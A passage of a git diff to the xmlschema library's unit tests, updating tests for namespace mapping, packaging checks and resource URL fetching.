self.assertEqual(mapper.map_qname('foo'), 'foo') self.assertEqual(mapper.map_qname('{%s}element' % XSD_NAMESPACE), 'element') + mapper.pop('') + self.assertEqual(mapper.map_qname('{%s}element' % XSD_NAMESPACE), 'xs:element') with self.assertRaises(ValueError) as ctx: mapper.map_qname('{%selement' % XSD_NAMESPACE) - self.assertIn("wrong format", str(ctx.exception)) + self.assertIn("invalid value", str(ctx.exception)) with self.assertRaises(ValueError) as ctx: mapper.map_qname('{%s}element}' % XSD_NAMESPACE) - self.assertIn("wrong format", str(ctx.exception)) + self.assertIn("invalid value", str(ctx.exception)) with self.assertRaises(TypeError) as ctx: mapper.map_qname(None) @@ -140,6 +262,14 @@ def test_map_qname(self): mapper.map_qname(99) self.assertIn("must be a string-like object", str(ctx.exception)) + mapper = NamespaceMapper(namespaces, process_namespaces=False) + self.assertEqual(mapper.map_qname('bar'), 'bar') + self.assertEqual(mapper.map_qname('xs:bar'), 'xs:bar') + + mapper = NamespaceMapper(namespaces, strip_namespaces=True) + self.assertEqual(mapper.map_qname('bar'), 'bar') + self.assertEqual(mapper.map_qname('xs:bar'), 'bar') + def test_unmap_qname(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) @@ -151,7 +281,7 @@ def test_unmap_qname(self): with self.assertRaises(ValueError) as ctx: mapper.unmap_qname('xs::element') - self.assertIn("wrong format", str(ctx.exception)) + self.assertIn("invalid value", str(ctx.exception)) with self.assertRaises(TypeError) as ctx: mapper.unmap_qname(None) @@ -166,31 +296,198 @@ def test_unmap_qname(self): self.assertEqual(mapper.unmap_qname('element'), '{foo}element') self.assertEqual(mapper.unmap_qname('element', name_table=['element']), 'element') - def test_transfer(self): - mapper = NamespaceMapper(namespaces={'xs': XSD_NAMESPACE, 'xsi': XSI_NAMESPACE}) - - namespaces = {'xs': 'foo'} - mapper.transfer(namespaces) - self.assertEqual(len(mapper), 2) - self.assertEqual(len(namespaces), 1) + mapper.strip_namespaces = True # don't do tricks, create a new instance ... + self.assertEqual(mapper.unmap_qname('element'), '{foo}element') - namespaces = {'xs': XSD_NAMESPACE} - mapper.transfer(namespaces) - self.assertEqual(len(mapper), 2) - self.assertEqual(len(namespaces), 0) + mapper = NamespaceMapper(namespaces, process_namespaces=False) + self.assertEqual(mapper.unmap_qname('bar'), 'bar') + self.assertEqual(mapper.unmap_qname('xs:bar'), 'xs:bar') - namespaces = {'xs': XSI_NAMESPACE, 'tns0': 'http://xmlschema.test/ns'} - mapper.transfer(namespaces) - self.assertEqual(len(mapper), 3) - self.assertIn('tns0', mapper) - self.assertEqual(len(namespaces), 1) - self.assertIn('xs', namespaces) + mapper = NamespaceMapper(namespaces, strip_namespaces=True) + self.assertEqual(mapper.unmap_qname('bar'), 'bar') + self.assertEqual(mapper.unmap_qname('xs:bar'), 'bar') + mapper = NamespaceMapper(namespaces) + self.assertEqual(mapper.unmap_qname('foo:bar'), 'foo:bar') + xmlns = [('foo', 'http://example.com/foo')] + self.assertEqual( + mapper.unmap_qname('foo:bar', xmlns=xmlns), + '{http://example.com/foo}bar' + ) + + def test_set_context_with_stacked_xmlns_processing(self): + resource = XMLResource(io.StringIO(self.xml_data)) + + mapper = NamespaceMapper(source=resource) + self.assertEqual(mapper.xmlns_processing, 'stacked') + self.assertEqual(len(mapper._contexts), 0) + + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(len(mapper._contexts), 1) + self.assertIs(mapper._contexts[-1].obj, resource.root) + self.assertEqual(mapper._contexts[-1].level, 0) + self.assertIs(mapper._contexts[-1].xmlns, xmlns) + self.assertEqual(mapper._contexts[-1].namespaces, + {'': 'http://example.test/foo'}) + self.assertEqual(mapper._contexts[-1].reverse, + {'http://example.test/foo': ''}) + self.assertListEqual(xmlns, [('', 'http://example.test/foo')]) + + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(len(mapper._contexts), 1) + self.assertIs(mapper._contexts[-1].obj, resource.root) + self.assertListEqual(xmlns, [('', 'http://example.test/foo')]) + + mapper.set_context(resource.root[0], 1) + self.assertEqual(len(mapper._contexts), 2) + self.assertIs(mapper._contexts[-1].obj, resource.root[0]) + + mapper.set_context(resource.root[1], 1) + self.assertEqual(len(mapper._contexts), 2) + self.assertIs(mapper._contexts[-1].obj, resource.root[1]) + + resource = XMLResource('') + + mapper = NamespaceMapper(source=resource) + self.assertEqual(mapper.xmlns_processing, 'stacked') + self.assertEqual(len(mapper._contexts), 0) + + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(len(mapper._contexts), 0) + self.assertIsNone(xmlns) + + def test_set_context_with_collapsed_xmlns_processing(self): + resource = XMLResource(io.StringIO(self.xml_data)) + + mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') + self.assertEqual(mapper.xmlns_processing, 'collapsed') + + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(len(mapper._contexts), 0) + self.assertIsNone(xmlns) + self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo'}) + + mapper.set_context(resource.root[0], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar'}) + + mapper.set_context(resource.root[1], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar'}) + + mapper.set_context(resource.root[2], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar'}) + + mapper.set_context(resource.root[3], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar', + 'foo': 'http://example.test/foo'}) + + mapper.set_context(resource.root[4], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar', + 'foo': 'http://example.test/foo', + 'foo0': 'http://example.test/bar'}) + + mapper.set_context(resource.root[4], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar', + 'foo': 'http://example.test/foo', + 'foo0': 'http://example.test/bar'}) + + mapper.set_context(resource.root[5], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar', + 'foo': 'http://example.test/foo', + 'foo0': 'http://example.test/bar', + 'foo1': 'http://example.test/foo2'}) + + mapper.set_context(resource.root[6], 1) + self.assertEqual(mapper.namespaces, + {'': 'http://example.test/foo', + 'default': 'http://example.test/bar', + 'bar': 'http://example.test/bar', + 'foo': 'http://example.test/foo', + 'foo0': 'http://example.test/bar', + 'foo1': 'http://example.test/foo2'}) + + # With default namespaces in non-root elements + xml_data = dedent("""\ + + + + """) + resource = XMLResource(io.StringIO(xml_data)) + + mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') + mapper.set_context(resource.root[0], 1) + self.assertEqual(mapper.namespaces, + {'foo': 'http://example.test/foo', + 'default': 'http://example.test/bar'}) + + mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') + mapper.set_context(resource.root[0], 0) + self.assertEqual(mapper.namespaces, + {'foo': 'http://example.test/foo', + '': 'http://example.test/bar'}) + + mapper = NamespaceMapper(source=resource, xmlns_processing='collapsed') + mapper.set_context(resource.root[1], 0) + self.assertEqual(mapper.namespaces, + {'foo': 'http://example.test/foo', + '': 'http://example.test/foo'}) + + def test_set_context_with_root_only_xmlns_processing(self): + resource = XMLResource(io.StringIO(self.xml_data)) + + mapper = NamespaceMapper(source=resource, xmlns_processing='root-only') + self.assertEqual(mapper.xmlns_processing, 'root-only') + + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(len(mapper._contexts), 0) + self.assertIsNone(xmlns) + self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo'}) + + mapper.set_context(resource.root[0], 1) + self.assertEqual(mapper.namespaces, {'': 'http://example.test/foo'}) + + def test_set_context_with_none_xmlns_processing(self): + resource = XMLResource(io.StringIO(self.xml_data)) + namespaces = {'foo': 'http://example.test/foo'} + + mapper = NamespaceMapper(source=resource, xmlns_processing='none') + self.assertEqual(mapper.xmlns_processing, 'none') + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(len(mapper._contexts), 0) + self.assertIsNone(xmlns) + self.assertEqual(mapper.namespaces, {}) + + mapper = NamespaceMapper(namespaces, source=resource, xmlns_processing='none') + xmlns = mapper.set_context(resource.root, 0) + self.assertEqual(mapper.namespaces, namespaces) + self.assertIsNone(xmlns) + + def test_set_context_with_encoding(self): mapper = NamespaceMapper() - namespaces = {'xs': XSD_NAMESPACE} - mapper.transfer(namespaces) - self.assertEqual(mapper, {'xs': XSD_NAMESPACE}) - self.assertEqual(namespaces, {}) + obj = {'@xmlns:foo': 'http://example.test/foo'} + + xmlns = mapper.set_context(obj, level=0) + self.assertEqual(len(mapper._contexts), 0) + self.assertIsNone(xmlns) class TestNamespaceView(unittest.TestCase): @@ -205,6 +502,15 @@ def test_repr(self): ns_view = NamespaceView(qnames, 'tns0') self.assertEqual(repr(ns_view), "NamespaceView({'name0': 0})") + def test_getitem(self): + qnames = {'{tns0}name0': 0, '{tns1}name1': 1, 'name2': 2} + ns_view = NamespaceView(qnames, 'tns1') + + self.assertEqual(ns_view['name1'], 1) + + with self.assertRaises(KeyError): + ns_view['name0'] + def test_contains(self): qnames = {'{tns0}name0': 0, '{tns1}name1': 1, 'name2': 2} ns_view = NamespaceView(qnames, 'tns1') @@ -226,6 +532,13 @@ def test_as_dict(self): self.assertEqual(ns_view.as_dict(), {'name3': 3}) self.assertEqual(ns_view.as_dict(True), {'name3': 3}) + def test_iter(self): + qnames = {'{tns0}name0': 0, '{tns1}name1': 1, '{tns1}name2': 2, 'name3': 3} + ns_view = NamespaceView(qnames, 'tns1') + self.assertListEqual(list(ns_view), ['name1', 'name2']) + ns_view = NamespaceView(qnames, '') + self.assertListEqual(list(ns_view), ['name3']) + if __name__ == '__main__': import platform diff --git a/tests/test_package.py b/tests/test_package.py index 5d2cc23..8e2c05c 100644 --- a/tests/test_package.py +++ b/tests/test_package.py @@ -16,7 +16,6 @@ import os import re import importlib -import pathlib class TestPackaging(unittest.TestCase): @@ -29,7 +28,7 @@ def setUpClass(cls): cls.missing_debug = re.compile( r"(\bimport\s+pdb\b|\bpdb\s*\.\s*set_trace\(\s*\)|\bprint\s*\()|\bbreakpoint\s*\(" ) - cls.get_version = re.compile(r"(?:\brelease|__version__)(?:\s*=\s*)(\'[^\']*\'|\"[^\"]*\")") + cls.get_version = re.compile(r"(?:\brelease|__version__)\s*=\s*(\'[^\']*\'|\"[^\"]*\")") def test_forgotten_debug_statements(self): # Exclude explicit debug statements written in the code @@ -41,7 +40,8 @@ def test_forgotten_debug_statements(self): filename = None file_excluded = [] files = glob.glob(os.path.join(self.source_dir, '*.py')) + \ - glob.glob(os.path.join(self.source_dir, 'validators/*.py')) + glob.glob(os.path.join(self.source_dir, 'validators/*.py')) + \ + glob.glob(os.path.join(self.source_dir, 'converters/*.py')) for line in fileinput.input(files): if fileinput.isfirstline(): filename = fileinput.filename() @@ -62,7 +62,7 @@ def test_version(self): files = [os.path.join(self.source_dir, '__init__.py')] if self.package_dir is not None: files.extend([ - os.path.join(self.package_dir, 'setup.py'), + os.path.join(self.package_dir, 'pyproject.toml'), os.path.join(self.package_dir, 'doc/conf.py'), ]) version = filename = None @@ -81,19 +81,6 @@ def test_version(self): message % (lineno, filename, match.group(1).strip('\'\"'), version) ) - def test_elementpath_requirement(self): - package_dir = pathlib.Path(__file__).parent.parent - ep_requirement = None - for line in fileinput.input(str(package_dir.joinpath('requirements-dev.txt'))): - if 'elementpath' in line: - ep_requirement = line.strip() - - self.assertIsNotNone(ep_requirement, msg="Missing elementpath in requirements-dev.txt") - - for line in fileinput.input(str(package_dir.joinpath('setup.py'))): - if 'elementpath' in line: - self.assertIn(ep_requirement, line, msg="Unmatched requirement in setup.py") - def test_base_schema_files(self): et = importlib.import_module('xml.etree.ElementTree') schemas_dir = os.path.join(self.source_dir, 'schemas') @@ -104,7 +91,16 @@ def test_base_schema_files(self): 'XLINK/xlink.xsd', 'XML/xml_minimal.xsd', 'HFP/XMLSchema-hasFacetAndProperty_minimal.xsd', - 'XSI/XMLSchema-instance_minimal.xsd' + 'XSI/XMLSchema-instance_minimal.xsd', + 'DSIG/xmldsig11-schema.xsd', + 'DSIG/xmldsig-core-schema.xsd', + 'VC/XMLSchema-versioning.xsd', + 'WSDL/soap-encoding.xsd', + 'WSDL/soap-envelope.xsd', + 'WSDL/wsdl.xsd', + 'WSDL/wsdl-soap.xsd', + 'XENC/xenc-schema.xsd', + 'XENC/xenc-schema-11.xsd', ] for rel_path in base_schemas: filename = os.path.join(schemas_dir, rel_path) diff --git a/tests/test_resources.py b/tests/test_resources.py index 4e797c8..cb89645 100644 --- a/tests/test_resources.py +++ b/tests/test_resources.py @@ -12,6 +12,7 @@ import unittest import os +import contextlib import pathlib import platform import warnings @@ -19,33 +20,46 @@ from urllib.error import URLError from urllib.request import urlopen from urllib.parse import urlsplit, uses_relative -from pathlib import Path, PurePath, PureWindowsPath, PurePosixPath -from unittest.mock import patch, MagicMock +from pathlib import Path, PurePath, PureWindowsPath +from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None -from xmlschema import fetch_namespaces, fetch_resource, normalize_url, \ - fetch_schema, fetch_schema_locations, XMLResource, XMLResourceError, XMLSchema -from xmlschema.etree import ElementTree, etree_element, py_etree_element, is_etree_element +from elementpath.etree import PyElementTree, is_etree_element + +from xmlschema import fetch_namespaces, fetch_resource, fetch_schema, \ + fetch_schema_locations, XMLResource, XMLResourceError, XMLSchema from xmlschema.names import XSD_NAMESPACE -import xmlschema.resources -from xmlschema.resources import is_url, is_local_url, is_remote_url, \ - url_path_is_file, normalize_locations, LazySelector from xmlschema.testing import SKIP_REMOTE_TESTS +from xmlschema.locations import normalize_url TEST_CASES_DIR = str(pathlib.Path(__file__).absolute().parent.joinpath('test_cases')) -DRIVE_REGEX = '/[a-zA-Z]:' if platform.system() == 'Windows' else '' +DRIVE_REGEX = '(/[a-zA-Z]:|/)' if platform.system() == 'Windows' else '' + +XML_WITH_NAMESPACES = '\n' \ + ' \n' \ + '' def casepath(relative_path): return str(pathlib.Path(TEST_CASES_DIR).joinpath(relative_path)) +@contextlib.contextmanager +def working_dir(path): + current = Path().absolute() + try: + os.chdir(path) + yield + finally: + os.chdir(current) + + def is_windows_path(path): """Checks if the path argument is a Windows platform path.""" return '\\' in path or ':' in path or '|' in path @@ -100,341 +114,83 @@ def check_url(self, url, expected): expected_path = PurePath(expected_parts.path) self.assertEqual(path, expected_path, "%r: Paths differ." % url) - def test_path_from_uri(self): - _PurePath = xmlschema.resources._PurePath - _PosixPurePath = xmlschema.resources._PurePosixPath - _WindowsPurePath = xmlschema.resources._PureWindowsPath - - with self.assertRaises(ValueError) as ec: - _PurePath.from_uri('') - self.assertEqual(str(ec.exception), 'Empty URI provided!') - - path = _PurePath.from_uri('https://example.com/names/?name=foo') - self.assertIsInstance(path, _PosixPurePath) - self.assertEqual(str(path), '/names') - - path = _PosixPurePath.from_uri('file:///home/foo/names/?name=foo') - self.assertIsInstance(path, _PosixPurePath) - self.assertEqual(str(path), '/home/foo/names') - - path = _PosixPurePath.from_uri('file:///home/foo/names#foo') - self.assertIsInstance(path, _PosixPurePath) - self.assertEqual(str(path), '/home/foo/names') - - path = _PosixPurePath.from_uri('file:///home\\foo\\names#foo') - self.assertIsInstance(path, _WindowsPurePath) - self.assertTrue(path.as_posix().endswith('/home/foo/names')) - - path = _PosixPurePath.from_uri('file:///c:/home/foo/names/') - self.assertIsInstance(path, _WindowsPurePath) - self.assertEqual(str(path), r'c:\home\foo\names') - self.assertEqual(path.as_uri(), 'file:///c:/home/foo/names') - - path = _PosixPurePath.from_uri('file:c:/home/foo/names/') - self.assertIsInstance(path, _WindowsPurePath) - self.assertEqual(str(path), r'c:\home\foo\names') - self.assertEqual(path.as_uri(), 'file:///c:/home/foo/names') - - with self.assertRaises(ValueError) as ec: - _PurePath.from_uri('file://c:/home/foo/names/') - self.assertEqual(str(ec.exception), "Invalid URI 'file://c:/home/foo/names/'") - - @unittest.skipIf(platform.system() == 'Windows', "Run only on posix systems") - def test_normalize_url_posix(self): - url1 = "https://example.com/xsd/other_schema.xsd" - self.check_url(normalize_url(url1, base_url="/path_my_schema/schema.xsd"), url1) - - parent_dir = os.path.dirname(os.getcwd()) - self.check_url(normalize_url('../dir1/./dir2'), os.path.join(parent_dir, 'dir1/dir2')) - self.check_url(normalize_url('../dir1/./dir2', '/home', keep_relative=True), - 'file:///dir1/dir2') - self.check_url(normalize_url('../dir1/./dir2', 'file:///home'), 'file:///dir1/dir2') - - self.check_url(normalize_url('other.xsd', 'file:///home'), 'file:///home/other.xsd') - self.check_url(normalize_url('other.xsd', 'file:///home/'), 'file:///home/other.xsd') - self.check_url(normalize_url('file:other.xsd', 'file:///home'), 'file:///home/other.xsd') - - cwd = os.getcwd() - cwd_url = 'file://{}/'.format(cwd) if cwd.startswith('/') else 'file:///{}/'.format(cwd) - - self.check_url(normalize_url('other.xsd', keep_relative=True), 'file:other.xsd') - self.check_url(normalize_url('file:other.xsd', keep_relative=True), 'file:other.xsd') - self.check_url(normalize_url('file:other.xsd'), cwd_url + 'other.xsd') - self.check_url(normalize_url('file:other.xsd', 'https://site/base', True), 'file:other.xsd') - self.check_url(normalize_url('file:other.xsd', 'http://site/base'), cwd_url + 'other.xsd') - - self.check_url(normalize_url('dummy path.xsd'), cwd_url + 'dummy%20path.xsd') - self.check_url(normalize_url('dummy path.xsd', 'http://site/base'), - 'http://site/base/dummy%20path.xsd') - self.check_url(normalize_url('dummy path.xsd', 'file://host/home/'), - PurePath('//host/home/dummy path.xsd').as_uri()) - - url = "file:///c:/Downloads/file.xsd" - self.check_url(normalize_url(url, base_url="file:///d:/Temp/"), url) - - def test_normalize_url_windows(self): - win_abs_path1 = 'z:\\Dir_1_0\\Dir2-0\\schemas/XSD_1.0/XMLSchema.xsd' - win_abs_path2 = 'z:\\Dir-1.0\\Dir-2_0\\' - self.check_url(normalize_url(win_abs_path1), win_abs_path1) - - self.check_url(normalize_url('k:\\Dir3\\schema.xsd', win_abs_path1), - 'file:///k:/Dir3/schema.xsd') - self.check_url(normalize_url('k:\\Dir3\\schema.xsd', win_abs_path2), - 'file:///k:/Dir3/schema.xsd') - - self.check_url(normalize_url('schema.xsd', win_abs_path2), - 'file:///z:/Dir-1.0/Dir-2_0/schema.xsd') - self.check_url(normalize_url('xsd1.0/schema.xsd', win_abs_path2), - 'file:///z:/Dir-1.0/Dir-2_0/xsd1.0/schema.xsd') - - with self.assertRaises(ValueError) as ec: - normalize_url('file:///\\k:\\Dir A\\schema.xsd') - self.assertIn("Invalid URI", str(ec.exception)) - - def test_normalize_url_unc_paths__issue_246(self): - url = PureWindowsPath(r'\\host\share\file.xsd').as_uri() - self.assertNotEqual(normalize_url(r'\\host\share\file.xsd'), url) # file://host/share/file.xsd - self.assertEqual(normalize_url(r'\\host\share\file.xsd'), url.replace('file://', 'file:////')) - - def test_normalize_url_unc_paths__issue_268(self,): - unc_path = r'\\filer01\MY_HOME\dev\XMLSCHEMA\test.xsd' - url = PureWindowsPath(unc_path).as_uri() - self.assertEqual(str(PureWindowsPath(unc_path)), unc_path) - self.assertEqual(url, 'file://filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - # Same UNC path as URI with the host inserted in path path. - url_host_in_path = url.replace('file://', 'file:////') - self.assertEqual(url_host_in_path, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - self.assertEqual(normalize_url(unc_path), url_host_in_path) - - with patch.object(os, 'name', 'nt'): - self.assertEqual(os.name, 'nt') - path = PurePath(unc_path) - self.assertIs(path.__class__, PureWindowsPath) - self.assertEqual(path.as_uri(), url) - - self.assertEqual(xmlschema.resources.os.name, 'nt') - path = xmlschema.resources._PurePath(unc_path) - self.assertIs(path.__class__, xmlschema.resources._PureWindowsPath) - self.assertEqual(path.as_uri(), url_host_in_path) - self.assertEqual(normalize_url(unc_path), url_host_in_path) - - with patch.object(os, 'name', 'posix'): - self.assertEqual(os.name, 'posix') - path = PurePath(unc_path) - self.assertIs(path.__class__, PurePosixPath) - self.assertEqual(str(path), unc_path) - self.assertRaises(ValueError, path.as_uri) # Not recognized as UNC path - - self.assertEqual(xmlschema.resources.os.name, 'posix') - path = xmlschema.resources._PurePath(unc_path) - self.assertIs(path.__class__, xmlschema.resources._PurePosixPath) - self.assertEqual(str(path), unc_path) - self.assertNotEqual(path.as_uri(), url) - self.assertEqual(normalize_url(unc_path), url_host_in_path) - - def test_normalize_url_with_base_unc_path(self,): - base_unc_path = '\\\\filer01\\MY_HOME\\' - base_url = PureWindowsPath(base_unc_path).as_uri() - self.assertEqual(str(PureWindowsPath(base_unc_path)), base_unc_path) - self.assertEqual(base_url, 'file://filer01/MY_HOME/') - - # Same UNC path as URI with the host inserted in path path. - base_url_host_in_path = base_url.replace('file://', 'file:////') - self.assertEqual(base_url_host_in_path, 'file:////filer01/MY_HOME/') - - self.assertEqual(normalize_url(base_unc_path), base_url_host_in_path) - - with patch.object(os, 'name', 'nt'): - self.assertEqual(os.name, 'nt') - path = PurePath('dir/file') - self.assertIs(path.__class__, PureWindowsPath) - - url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) - self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url) - self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url_host_in_path) - self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - with patch.object(os, 'name', 'posix'): - self.assertEqual(os.name, 'posix') - path = PurePath('dir/file') - self.assertIs(path.__class__, PurePosixPath) - - url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) - self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url=base_url) - self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url=base_url_host_in_path) - self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') - - def test_normalize_url_slashes(self): - # Issue #116 - url = '//anaconda/envs/testenv/lib/python3.6/site-packages/xmlschema/validators/schemas/' - if os.name == 'posix': - self.assertEqual(normalize_url(url), pathlib.PurePath(url).as_uri()) - else: - # On Windows // is interpreted as a network share UNC path - self.assertEqual(os.name, 'nt') - self.assertEqual(normalize_url(url), - pathlib.PurePath(url).as_uri().replace('file://', 'file:////')) - - self.assertRegex(normalize_url('/root/dir1/schema.xsd'), - f'file://{DRIVE_REGEX}/root/dir1/schema.xsd') - - self.assertRegex(normalize_url('////root/dir1/schema.xsd'), - f'file://{DRIVE_REGEX}/root/dir1/schema.xsd') - self.assertRegex(normalize_url('dir2/schema.xsd', '////root/dir1'), - f'file://{DRIVE_REGEX}/root/dir1/dir2/schema.xsd') - - self.assertEqual(normalize_url('//root/dir1/schema.xsd'), - 'file:////root/dir1/schema.xsd') - self.assertEqual(normalize_url('dir2/schema.xsd', '//root/dir1/'), - f'file:////root/dir1/dir2/schema.xsd') - self.assertEqual(normalize_url('dir2/schema.xsd', '//root/dir1'), - f'file:////root/dir1/dir2/schema.xsd') - - def test_normalize_url_hash_character(self): - url = normalize_url('issue #000.xml', 'file:///dir1/dir2/') - self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20%23000.xml') - - url = normalize_url('data.xml', 'file:///dir1/dir2/issue%20001') - self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20001/data.xml') - - url = normalize_url('data.xml', '/dir1/dir2/issue #002') - self.assertRegex(url, f'{DRIVE_REGEX}/dir1/dir2/issue%20%23002/data.xml') - - def test_is_url_function(self): - self.assertTrue(is_url(self.col_xsd_file)) - self.assertFalse(is_url('http://example.com[')) - self.assertTrue(is_url(b'http://example.com')) - self.assertFalse(is_url(' \t')) - self.assertFalse(is_url(b' ')) - self.assertFalse(is_url('line1\nline2')) - self.assertFalse(is_url(None)) - - def test_is_local_url_function(self): - self.assertTrue(is_local_url(self.col_xsd_file)) - self.assertTrue(is_local_url(Path(self.col_xsd_file))) - - self.assertTrue(is_local_url('/home/user/')) - self.assertFalse(is_local_url('')) - self.assertTrue(is_local_url('/home/user/schema.xsd')) - self.assertTrue(is_local_url(' /home/user/schema.xsd ')) - self.assertTrue(is_local_url('C:\\Users\\foo\\schema.xsd')) - self.assertTrue(is_local_url(' file:///home/user/schema.xsd')) - self.assertFalse(is_local_url('http://example.com/schema.xsd')) - - self.assertTrue(is_local_url(b'/home/user/')) - self.assertFalse(is_local_url(b'')) - self.assertTrue(is_local_url(b'/home/user/schema.xsd')) - self.assertTrue(is_local_url(b' /home/user/schema.xsd ')) - self.assertTrue(is_local_url(b'C:\\Users\\foo\\schema.xsd')) - self.assertTrue(is_local_url(b' file:///home/user/schema.xsd')) - self.assertFalse(is_local_url(b'http://example.com/schema.xsd')) - - def test_is_remote_url_function(self): - self.assertFalse(is_remote_url(self.col_xsd_file)) - - self.assertFalse(is_remote_url('/home/user/')) - self.assertFalse(is_remote_url('')) - self.assertFalse(is_remote_url('/home/user/schema.xsd')) - self.assertFalse(is_remote_url(' file:///home/user/schema.xsd')) - self.assertTrue(is_remote_url(' http://example.com/schema.xsd')) - - self.assertFalse(is_remote_url(b'/home/user/')) - self.assertFalse(is_remote_url(b'')) - self.assertFalse(is_remote_url(b'/home/user/schema.xsd')) - self.assertFalse(is_remote_url(b' file:///home/user/schema.xsd')) - self.assertTrue(is_remote_url(b' http://example.com/schema.xsd')) - - def test_url_path_is_file_function(self): - self.assertTrue(url_path_is_file(self.col_xml_file)) - self.assertTrue(url_path_is_file(normalize_url(self.col_xml_file))) - self.assertFalse(url_path_is_file(self.col_dir)) - self.assertFalse(url_path_is_file('http://example.com/')) - - with patch('platform.system', MagicMock(return_value="Windows")): - self.assertFalse(url_path_is_file('file:///c:/Windows/unknown')) - - def test_normalize_locations_function(self): - locations = normalize_locations( - [('tns0', 'alpha'), ('tns1', 'http://example.com/beta')], base_url='/home/user' - ) - self.assertEqual(locations[0][0], 'tns0') - self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') - self.assertEqual(locations[1][0], 'tns1') - self.assertEqual(locations[1][1], 'http://example.com/beta') - - locations = normalize_locations( - {'tns0': 'alpha', 'tns1': 'http://example.com/beta'}, base_url='/home/user' - ) - self.assertEqual(locations[0][0], 'tns0') - self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') - self.assertEqual(locations[1][0], 'tns1') - self.assertEqual(locations[1][1], 'http://example.com/beta') - - locations = normalize_locations( - {'tns0': ['alpha', 'beta'], 'tns1': 'http://example.com/beta'}, base_url='/home/user' - ) - self.assertEqual(locations[0][0], 'tns0') - self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') - self.assertEqual(locations[1][0], 'tns0') - self.assertRegex(locations[1][1], f'file://{DRIVE_REGEX}/home/user/beta') - self.assertEqual(locations[2][0], 'tns1') - self.assertEqual(locations[2][1], 'http://example.com/beta') - - locations = normalize_locations( - {'tns0': 'alpha', 'tns1': 'http://example.com/beta'}, keep_relative=True - ) - self.assertListEqual(locations, [('tns0', 'file:alpha'), - ('tns1', 'http://example.com/beta')]) - def test_fetch_resource_function(self): with self.assertRaises(ValueError) as ctx: fetch_resource('') self.assertIn('argument must contain a not empty string', str(ctx.exception)) wrong_path = casepath('resources/dummy_file.txt') - self.assertRaises(XMLResourceError, fetch_resource, wrong_path) + self.assertRaises(URLError, fetch_resource, wrong_path) wrong_path = casepath('/home/dummy_file.txt') - self.assertRaises(XMLResourceError, fetch_resource, wrong_path) + self.assertRaises(URLError, fetch_resource, wrong_path) - right_path = casepath('resources/dummy file.txt') - self.assertTrue(fetch_resource(right_path).endswith('dummy%20file.txt')) + filepath = casepath('resources/dummy file.txt') + self.assertTrue(fetch_resource(filepath).endswith('dummy%20file.txt')) - right_path = Path(casepath('resources/dummy file.txt')).relative_to(os.getcwd()) - self.assertTrue(fetch_resource(str(right_path), '/home').endswith('dummy%20file.txt')) + filepath = Path(casepath('resources/dummy file.txt')).relative_to(os.getcwd()) + self.assertTrue(fetch_resource(str(filepath), '/home').endswith('dummy%20file.txt')) - with self.assertRaises(XMLResourceError): - fetch_resource(str(right_path.parent.joinpath('dummy_file.txt')), '/home') + filepath = casepath('resources/dummy file.xml') + self.assertTrue(fetch_resource(filepath).endswith('dummy%20file.xml')) + + with urlopen(fetch_resource(filepath)) as res: + self.assertEqual(res.read(), b'DUMMY CONTENT') - ambiguous_path = casepath('resources/dummy file #2.txt') - self.assertTrue(fetch_resource(ambiguous_path).endswith('dummy%20file%20%232.txt')) + with working_dir(pathlib.Path(__file__).parent): + filepath = 'test_cases/resources/dummy file.xml' + result = fetch_resource(filepath) + self.assertTrue(result.startswith('file://')) + self.assertTrue(result.endswith('dummy%20file.xml')) - with urlopen(fetch_resource(ambiguous_path)) as res: - self.assertEqual(res.read(), b'DUMMY CONTENT') + base_url = "file:///wrong/base/url" + result = fetch_resource(filepath, base_url) + self.assertTrue(result.startswith('file://')) + 